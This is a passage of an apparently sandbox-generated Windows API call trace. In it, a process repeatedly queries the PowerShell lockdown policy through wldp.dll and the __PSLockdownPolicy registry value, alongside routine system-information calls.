returned 0x2 [0091.887] RegCloseKey (hKey=0x528) returned 0x0 [0091.887] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.887] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.887] CoTaskMemFree (pv=0x43be9e8) [0091.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.888] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.888] WldpGetLockdownPolicy () returned 0x0 [0091.888] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.888] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.888] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.888] RegCloseKey (hKey=0x528) returned 0x0 [0091.888] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.888] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.888] CoTaskMemFree (pv=0x43be9e8) [0091.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.889] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.889] WldpGetLockdownPolicy () returned 0x0 [0091.889] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.889] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.889] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.889] RegCloseKey (hKey=0x528) returned 0x0 [0091.889] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.889] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.889] CoTaskMemFree (pv=0x43be9e8) [0091.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.890] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.890] WldpGetLockdownPolicy () returned 0x0 [0091.890] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.890] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.890] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.890] RegCloseKey (hKey=0x528) returned 0x0 [0091.891] CoCreateGuid (in: pguid=0x427e12c | out: pguid=0x427e12c*(Data1=0xb7b40de5, Data2=0xa5da, Data3=0x4822, Data4=([0]=0x8f, [1]=0xe7, [2]=0xa6, [3]=0xb7, [4]=0x8d, [5]=0x67, [6]=0x84, [7]=0x90))) returned 0x0 [0091.891] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.891] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.891] CoTaskMemFree (pv=0x43be9e8) [0091.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.891] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.892] WldpGetLockdownPolicy () returned 0x0 [0091.892] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.892] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.892] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.892] RegCloseKey (hKey=0x528) returned 0x0 [0091.892] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.892] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.892] CoTaskMemFree (pv=0x43be9e8) [0091.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.892] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.893] WldpGetLockdownPolicy () returned 0x0 [0091.893] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.893] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.893] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.893] RegCloseKey (hKey=0x528) returned 0x0 [0091.893] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.893] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.893] CoTaskMemFree (pv=0x43be9e8) [0091.893] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.893] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.893] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.893] WldpGetLockdownPolicy () returned 0x0 [0091.893] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.894] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.894] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.894] RegCloseKey (hKey=0x528) returned 0x0 [0091.917] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.917] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.918] CoTaskMemFree (pv=0x43be9e8) [0091.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.918] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.918] WldpGetLockdownPolicy () returned 0x0 [0091.918] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.918] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.918] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.918] RegCloseKey (hKey=0x528) returned 0x0 [0091.918] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.919] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.919] CoTaskMemFree (pv=0x43be9e8) [0091.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.919] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.919] WldpGetLockdownPolicy () returned 0x0 [0091.919] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.919] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.919] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.919] RegCloseKey (hKey=0x528) returned 0x0 [0091.919] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.919] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.919] CoTaskMemFree (pv=0x43be9e8) [0091.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.920] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.920] WldpGetLockdownPolicy () returned 0x0 [0091.920] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.920] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.920] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.920] RegCloseKey (hKey=0x528) returned 0x0 [0091.977] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.977] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.977] CoTaskMemFree (pv=0x43be9e8) [0091.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.977] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.978] WldpGetLockdownPolicy () returned 0x0 [0091.978] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.978] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.978] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.978] RegCloseKey (hKey=0x528) returned 0x0 [0091.978] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.978] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.978] CoTaskMemFree (pv=0x43be9e8) [0091.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.978] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.978] WldpGetLockdownPolicy () returned 0x0 [0091.979] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.979] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.979] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.979] RegCloseKey (hKey=0x528) returned 0x0 [0091.979] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.979] GetSystemDirectoryW (in: 